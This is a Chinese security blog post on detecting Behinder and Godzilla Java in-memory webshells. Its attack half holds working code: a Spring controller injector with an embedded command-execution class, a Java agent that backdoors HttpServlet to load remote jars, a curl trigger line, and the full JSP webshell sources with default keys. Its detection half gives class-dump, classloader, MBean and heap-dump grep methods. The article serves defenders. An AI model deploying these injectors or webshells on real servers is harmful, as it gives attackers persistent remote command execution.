三条命令查杀冰蝎、哥斯拉内存马

admin 2024年9月23日14:03:40评论39 views字数 18258阅读60分51秒阅读模式

一、前言

最近遇到一次真实的内存马排查case,之前自己也是有专门做过内存马查杀工具,于是重新回顾梳理,并把自己的一些方法分享出来。

二、内存马介绍

首先我们了解一下内存马注入的方法,有两种注入内存马的方式:

1、动态注入组件

2、通过Instrument修改内存class

2.1、动态注入组件

通过创建如 Listener、Filter、Servlet、Valve 等 java web 组件,并通过如反射等形式进行注册、替换、增加 handler进行处理。

这里动态地对Spring注入Controller,由于之前在网上找到的代码不兼容新的Spring接口,这里对代码进行修正,成功注入。

目标环境:JDK11 + Spring 2.7.18

package com.example.testspring;


import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.*;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;
import org.springframework.web.util.pattern.PathPatternParser;


import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;


@RestController
public classTestController{
    @GetMapping("/add_controller")
    public String hello(){
try{
String className ="com.example.spring.InjectControl";
//加载com.example.spring.InjectControl类的字节码
String b64 ="yv66vgAAADQAiQoAIQBFCABGCwBHAEgLAEkASggASwgATAoATQBOCgAMAE8IAFAKAAwAUQcAUgcAUwgAVAgAVQoACwBWCABXCABYBwBZCgALAFoKAFsAXAoAEgBdCABeCgASAF8KABIAYAoAEgBhCgASAGIKAGMAZAoAYwBlCgBjAGILAEkAZgcAZwcAaAcAaQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNvbS9leGFtcGxlL3NwcmluZy9JbmplY3RDb250cm9sOwEABWxvZ2luAQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BABJMamF2YS9sYW5nL1N0cmluZzsBAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAUwcAagcAUgcAWQcAZwEAGVJ1bnRpbWVWaXNpYmxlQW5ub3RhdGlvbnMBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAIL2Zhdmljb24BAApTb3VyY2VGaWxlAQASSW5qZWN0Q29udHJvbC5qYXZhAQArTG9yZy9zcHJpbmdmcmFtZXdvcmsvc3RlcmVvdHlwZS9Db250cm9sbGVyOwwAIgAjAQADY21kBwBrDABsAG0HAG4MAG8AcAEAAAEAB29zLm5hbWUHAHEMAHIAbQwAcwB0AQADd2luDAB1AHYBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAAiAHcBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwAeAB5BwB6DAB7AHwMACIAfQEAAlxBDAB+AH8MAIAAgQwAggB0DACDACMHAGoMAIQAhQwAhgAjDACHAIgBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAgY29tL2V4YW1wbGUvc3ByaW5nL0luamVjdENvbnRyb2wBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9pby9QcmludFdyaXRlcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEACXNlbmRFcnJvcgEABChJKVYAIQAgACEAAAAAAAIAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAKACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAagABgAIAAAAsysSArkAAwIATiy5AAQBADoELcYAkxIFOgUSBrgAB7YACBIJtgAKmQAhuwALWQa9AAxZAxINU1kEEg5TWQUtU7cADzoGpwAeuwALWQa9AAxZAxIQU1kEEhFTWQUtU7cADzoGuwASWRkGtgATtgAUtwAVEha2ABc6BxkHtgAYmQALGQe2ABmnAAUZBToFGQe2ABoZBBkFtgAbGQS2ABwZBLYAHacADCwRAZS5AB4CAKcABE6xAAEAAACuALEAHwADACUAAABKABIAAAAOAAkADwARABAAFQARABkAEwApABQARwAWAGIAGAB4ABkAjAAaAJEAGwCYABwAnQAdAKIAHgClAB8ArgAiALEAIQCyACMAJgAAAFwACQBEAAMAKwAsAAYAGQCJAC0ALgAFAGIAQAArACwABgB4ACoALwAwAAcACQClADEALgADABEAnQAyADMABAAAALMAJwAoAAAAAACzADQANQABAAAAswA2ADcAAgA4AAAAKQAI/gBHBwA5BwA6BwA5/AAaBwA7/AAlBwA8QQcAOfgAGvkACEIHAD0AAD4AAAAOAAEAPwABAEBbAAFzAEEAAgBCAAAAAgBDAD4AAAAGAAEARAAA";
            byte[]bytes=Base64.getDecoder().decode(b64);
            java.lang.ClassLoader classLoader =Thread.currentThread().getContextClassLoader();
            java.lang.reflect.Method m0 =ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class,int.class,int.class);
            m0.setAccessible(true);


try{
                m0.invoke(classLoader, className,bytes,0,bytes.length);
}catch (Exception e){


}




WebApplicationContext context =RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());


            org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping =(org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping.class);


RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
//通过反射获得自定义controller中唯一的Method对象
Method method =(classLoader.loadClass(className).getDeclaredMethods())[0];


//在内存中动态注册 controller
Class<?> class1 =Class.forName("org.springframework.web.servlet.mvc.method.RequestMappingInfo");
Constructor<?> method1 = class1.getDeclaredConstructor(String.class,PathPatternsRequestCondition.class,PatternsRequestCondition.class,
RequestMethodsRequestCondition.class,ParamsRequestCondition.class,HeadersRequestCondition.class,ConsumesRequestCondition.class,
ProducesRequestCondition.class,RequestConditionHolder.class,RequestMappingInfo.BuilderConfiguration.class);
            method1.setAccessible(true);
RequestMappingInfo info =(RequestMappingInfo) method1.newInstance(
"test",new PathPatternsRequestCondition(new PathPatternParser(),"/cmd"),null,new RequestMethodsRequestCondition(RequestMethod.GET),
                    new ParamsRequestCondition(),new HeadersRequestCondition(),new ConsumesRequestCondition(),
                    new ProducesRequestCondition(),new RequestConditionHolder(null),new RequestMappingInfo.BuilderConfiguration()
);


////RequestMappingInfo抛弃了
////定义访问controller的URL地址
//PatternsRequestCondition url = new PatternsRequestCondition("/cmd");
////定义允许访问 controller 的 HTTP 方法(GET/POST)
//RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.GET);
//PathPatternsRequestCondition ppr = new PathPatternsRequestCondition(new PathPatternParser(),"/hahaha");
//RequestMappingInfo info = new RequestMappingInfo("test", url,ms, null, null, null, null,null);


            r.registerMapping(info, classLoader.loadClass(className).newInstance(), method);


} catch (Exception e){
            e.printStackTrace();
}
return"test";
}
}

三条命令查杀冰蝎、哥斯拉内存马
0

测试的时候需要注意:

1、jdk 21反射加载class会被禁止

2、JDK和Java版本的兼容,具体参考:https://endoflife.date/spring-boot

三条命令查杀冰蝎、哥斯拉内存马
1

2.2、通过Instrument修改内存class

通过Java的Instrumentation或者系统的执行文件jvm.dll的方式调用redefineClasses、retransformClasses对内存的class进行修改。

比如这里我们通过java的Instrumentation修改jakarta.servlet.http.HttpServlet、javax.servlet.http.HttpServlet的逻辑,只要访问到Servlet就会触发我们的后门的逻辑。

具体代码如下:

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
publicclassAfterDemo{
publicstaticvoid agentmain(String agentArgs,Instrumentation inst){
System.out.println("hello I`m agentMain!!!");
Class<?>[] cLasses = inst.getAllLoadedClasses();
byte[] bArr =newbyte[0];
Map<String,Map<String,Object>> targetClasses =newHashMap<>();
Map<String,Object> targetClassJavaxMap =newHashMap<>();
        targetClassJavaxMap.put("methodName","service");
List<String> paramJavaxClsStrList =newArrayList<>();
        paramJavaxClsStrList.add("javax.servlet.ServletRequest");
        paramJavaxClsStrList.add("javax.servlet.ServletResponse");
        targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
Map<String,Object> targetClassJakartaMap =newHashMap<>();
        targetClassJakartaMap.put("methodName","service");
List<String> paramJakartaClsStrList =newArrayList<>();
        paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
        paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
        targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
        targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
ClassPool cPool =ClassPool.getDefault();
if(ServerDetector.isWebLogic()){
            targetClasses.clear();
Map<String,Object> targetClassWeblogicMap =newHashMap<>();
            targetClassWeblogicMap.put("methodName","execute");
List<String> paramWeblogicClsStrList =newArrayList<>();
            paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
            paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
            targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
            targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
}
String shellCode ="javax.servlet.http.HttpServletRequest request=(javax.servlet.ServletRequest)$1;n"+
"javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;n"+
"javax.servlet.http.HttpSession session = request.getSession();n"+
"String pathPattern="/linject";n"+
"if (request.getRequestURI().matches(pathPattern))n"+
"{n"+
"   java.util.Map obj=new java.util.HashMap();n"+
"   obj.put("request",request);n"+
"   obj.put("response",response);n"+
"   obj.put("session",session);n"+
"   ClassLoader loader=this.getClass().getClassLoader();n"+
"   if (request.getMethod().equals("POST"))n"+
"   {n"+
"      try{n"+
"            String lUrl = request.getParameter("lUrl");n"+
"            String lName = request.getParameter("lName");n"+
"            java.net.URL[] urls = new java.net.URL[]{new java.net.URL(lUrl)};n"+
"            java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(urls,this.getClass().getClassLoader());n"+
"            Class clazz = urlClassLoader.loadClass(lName);n"+
"            java.lang.reflect.Method[] methods = clazz.getDeclaredMethods();n"+
"            for (int i = 0; i < methods.length; i++) {n"+
"                  System.out.println("method: " +methods[i].getName());n"+
"            }n"+
"            java.lang.reflect.Constructor[] constructors = clazz.getDeclaredConstructors();n"+
"            for (int i = 0; i < constructors.length; i++) {n"+
"                  System.out.println("constructor: " +constructors[i].getName());n"+
"            }n"+
"            Object obj = clazz.newInstance();n"+
"            return;n"+
"      }catch (Exception e){e.printStackTrace();}n"+
"   }n"+
"}";
for(Class<?> cls : cLasses){
System.out.println(cls.getName());
if(targetClasses.keySet().contains(cls.getName())){
String targetClassName = cls.getName();
try{
System.out.println("found class:"+targetClassName);
if(targetClassName.equals("jakarta.servlet.http.HttpServlet")){
                        shellCode = shellCode.replace("javax.servlet","jakarta.servlet");
}
ClassClassPath classPath =newClassClassPath(cls);
                    cPool.insertClassPath(classPath);
                    cPool.importPackage("java.lang.reflect.Method");
                    cPool.importPackage("javax.crypto.Cipher");
List<CtClass> paramClsList =newArrayList<>();
for(Object clsName :(List) targetClasses.get(targetClassName).get("paramList")){
                        paramClsList.add(cPool.get((String) clsName));
}
CtClass cClass = cPool.get(targetClassName);
String methodName = targetClasses.get(targetClassName).get("methodName").toString();
CtMethod cMethod = cClass.getDeclaredMethod(methodName,(CtClass[]) paramClsList.toArray(newCtClass[paramClsList.size()]));
                    cMethod.insertBefore(shellCode);
                    cClass.detach();
byte[] data = cClass.toBytecode();
                    inst.redefineClasses(newClassDefinition[]{newClassDefinition(cls, data)});
}catch(Exception e){
                    e.printStackTrace();
}
break;
}
}
}
}

我们加载一个jar,然后对class进行实例化(里面包含我们的任意代码)。

curl -X POST  'http://127.0.0.1:9091/linject?lUrl=http://127.0.0.1/TestSpring4.jar&lName=org.example.testspring4.Inject&password' -vvv
三条命令查杀冰蝎、哥斯拉内存马
之前的文章是结合这两种方法实现:java内存马深度利用:窃取明文、钓鱼

2.3、冰蝎 & 哥斯拉 分析

2.3.1、冰蝎分析

冰蝎马的代码如下:

<% @page
import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!classU extends ClassLoader{
    U(ClassLoader c){
super(c);
}
    public Class g(byte[] b){
returnsuper.defineClass(b,0, b.length);
}
}%><%
if(request.getMethod().equals("POST")){
String k ="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
    session.putValue("u", k);
Cipher c =Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec(k.getBytes(),"AES"));
    new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);
} %>

对木马的功能行模块化,需要使用对应的功能时,然后把对应的功能的字节码注入进行,然后通过classloader加载使用。

功能代码逻辑都在这些class中:Behinder/net/rebeyond/behinder/payload/java/

三条命令查杀冰蝎、哥斯拉内存马
3

额外说一下,冰蝎支持java agent注入修改class,具体逻辑可以看tools_0.jar:

Behinder/net/rebeyond/behinder/resource/tools/tools_0.jar

2.3.2、哥斯拉分析

跟冰蝎是一样的,不过不同的是哥斯拉会把所有的功能集中到一个class而非模块化,当然一些插件除外。

<% !Stringxc="3c6e0b8a9c15224a";
Stringpass="pass";
Stringmd5= md5(pass + xc);
classXextendsClassLoader{
publicX(ClassLoader z){
super(z);
}
publicClassQ(byte[] cb){
returnsuper.defineClass(cb,0, cb.length);
}
}
publicbyte[] x(byte[] s,boolean m){
try{
        javax.crypto.Cipherc= javax.crypto.Cipher.getInstance("AES");
        c.init(m ?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
return c.doFinal(s);
}catch(Exception e){
returnnull;
}
}
publicstaticStringmd5(String s){
Stringret=null;
try{
        java.security.MessageDigest m;
        m = java.security.MessageDigest.getInstance("MD5");
        m.update(s.getBytes(),0, s.length());
        ret =newjava.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
}catch(Exception e){}
return ret;
}
publicstaticStringbase64Encode(byte[] bs)throwsException{
Class base64;
Stringvalue=null;
try{
        base64 =Class.forName("java.util.Base64");
ObjectEncoder= base64.getMethod("getEncoder",null).invoke(base64,null);
        value =(String)Encoder.getClass().getMethod("encodeToString",newClass[]{
byte[].class
}).invoke(Encoder,newObject[]{
            bs
});
}catch(Exception e){
try{
            base64 =Class.forName("sun.misc.BASE64Encoder");
ObjectEncoder= base64.newInstance();
            value =(String)Encoder.getClass().getMethod("encode",newClass[]{
byte[].class
}).invoke(Encoder,newObject[]{
                bs
});
}catch(Exception e2){}
}
return value;
}
publicstaticbyte[] base64Decode(String bs)throwsException{
Class base64;
byte[] value =null;
try{
            base64 =Class.forName("java.util.Base64");
Objectdecoder= base64.getMethod("getDecoder",null).invoke(base64,null);
            value =(byte[]) decoder.getClass().getMethod("decode",newClass[]{
String.class
}).invoke(decoder,newObject[]{
                bs
});
}catch(Exception e){
try{
                base64 =Class.forName("sun.misc.BASE64Decoder");
Objectdecoder= base64.newInstance();
                value =(byte[]) decoder.getClass().getMethod("decodeBuffer",newClass[]{
String.class
}).invoke(decoder,newObject[]{
                    bs
});
}catch(Exception e2){}
}
return value;
}%><%
try{
byte[] data = base64Decode(request.getParameter(pass));
        data = x(data,false);
if(session.getAttribute("payload")==null){
            session.setAttribute("payload",newX(this.getClass().getClassLoader()).Q(data));
}else{
            request.setAttribute("parameters", data);
            java.io.ByteArrayOutputStreamarrOut=newjava.io.ByteArrayOutputStream();
Objectf=((Class) session.getAttribute("payload")).newInstance();
            f.equals(arrOut);
            f.equals(pageContext);
            response.getWriter().write(md5.substring(0,16));
            f.toString();
            response.getWriter().write(base64Encode(x(arrOut.toByteArray(),true)));
            response.getWriter().write(md5.substring(16));
}
}catch(Exception e){}%>

三条命令查杀冰蝎、哥斯拉内存马
4
 

哥斯拉的功能class逻辑已反编译成java:https://pastebin.com/raw/mMv8pZZP

三、如何查杀

这里的查杀方案有很多,这里我之前也是写了一款查杀工具给内部使用,但都是大同小异,效果都比较一般(因为都能在jvm执行任意代码了,bypass手法比较多)。

3.1、直接dump敏感的class

我们直接dump一些比较敏感的类(在web请求流程中并且能拿到request和response的类),因为攻击者可以使用java agent对class进行修改,让自己的请求进行后门逻辑。

之前笔者收集了一些class(也不全),供大家参考:

javax.servlet.http.HttpServlet  // tomcat 修改service方法
javax.servlet.http.HttpServletRequest  // tomcat 修改 getQueryString
org.apache.catalina.core.ApplicationFilterChain  // tomcat filter
org.apache.tomcat.websocket.server.WsFilter  // tomcat websocket
org.springframework.web.servlet.DispatcherServlet  // spring
weblogic.servlet.internal.ServletStubImpl  // weblogic

然后我们检查这里的逻辑是否被修改。

2.2、查看注册的组件

我们直接获取对应的Context,然后获取对应的Listener、Filter、Servlet的列表

比如优秀的开源工具:https://github.com/c0ny1/java-memshell-scanner,不过这里需要通过jsp,我们可以通过arthas进行快速查杀。

三条命令查杀冰蝎、哥斯拉内存马
5

3.3、根据类的属性dump

根据危险注解、类名、继承的类、classloader、getResource为空等信息 dump 可疑的组件,结合人工反编译后进行分析。

当初自己开发的工具也是按照这个方法开发的,但是这种方法是有缺陷的。

1、dump class速度太慢了

2、会有漏水情况

三条命令查杀冰蝎、哥斯拉内存马
6

也有开源工具:https://github.com/LandGrey/copagent。

3.3.1、classloader属性

我们以及classloader角度为例子,首先我们遍历classloader,然后寻找敏感的classloader(内存马也会自定义claassloader)

成功找到哥斯拉内存马

三条命令查杀冰蝎、哥斯拉内存马
7
三条命令查杀冰蝎、哥斯拉内存马
8
 

3.4、jmx - Mbean

在注册组件的时候会注册mbean,这样会留下痕迹,我们可以查看所有的mbean,查看注册的路由或者class是否正常,比较快捷简单,也是一个不错的方法。

三条命令查杀冰蝎、哥斯拉内存马
9
 

3.5、三条命令查杀冰蝎、哥斯拉 - 内存检测

根据我们之前分析,无论冰蝎和哥斯拉都会把的后门代码(执行命令、文件管理)类注入内存中,所以我们只要分析这些后门类的即可(因为类加载器的特征比较少),这里我以进入内存马页面会自动触发的功能(内存马展示基础信息类)的一些特征分析,发现一些字符串特征,为了减少误报,需要满足三个特征即告警。

下图是我注入冰蝎、哥斯拉两个内存马

三条命令查杀冰蝎、哥斯拉内存马
10
三条命令查杀冰蝎、哥斯拉内存马
11
# dump内存
jmap -dump:live,format=b,file=heapdump.hprof pid
# 检测Godzilla
if grep -q 'getBasicsInfo' heapdump.hprof && grep -q 'srcFileName' heapdump.hprof && grep -q 'destFileName' heapdump.hprof;then echo 'exist Godzilla';else echo '';fi;
# 检测冰蝎
if grep -q 'basicInfo' heapdump.hprof && grep -q 'currentPath' heapdump.hprof && grep -q 'driveList' heapdump.hprof;then echo 'exist behinder';else echo '';fi;

三条命令查杀冰蝎、哥斯拉内存马
12
 

四、总结

内存马姿势多种多样,内存马的检测方法同样百花齐放。从上面的分析来说可以总结为“80万对60万,优势在我”是攻方,比如通过三条命令发现内存马,发现的只是已有的特征,攻方也可以修改这些特征,所以还需要另辟蹊径。笔者找到一个在实验环境表现不错的第二个新方法,等实践不错后再分享出来。

 

原文始发于微信公众号(lufeisec):三条命令查杀冰蝎、哥斯拉内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月23日14:03:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   三条命令查杀冰蝎、哥斯拉内存马https://cn-sec.com/archives/3196078.html

发表评论

匿名网友 填写信息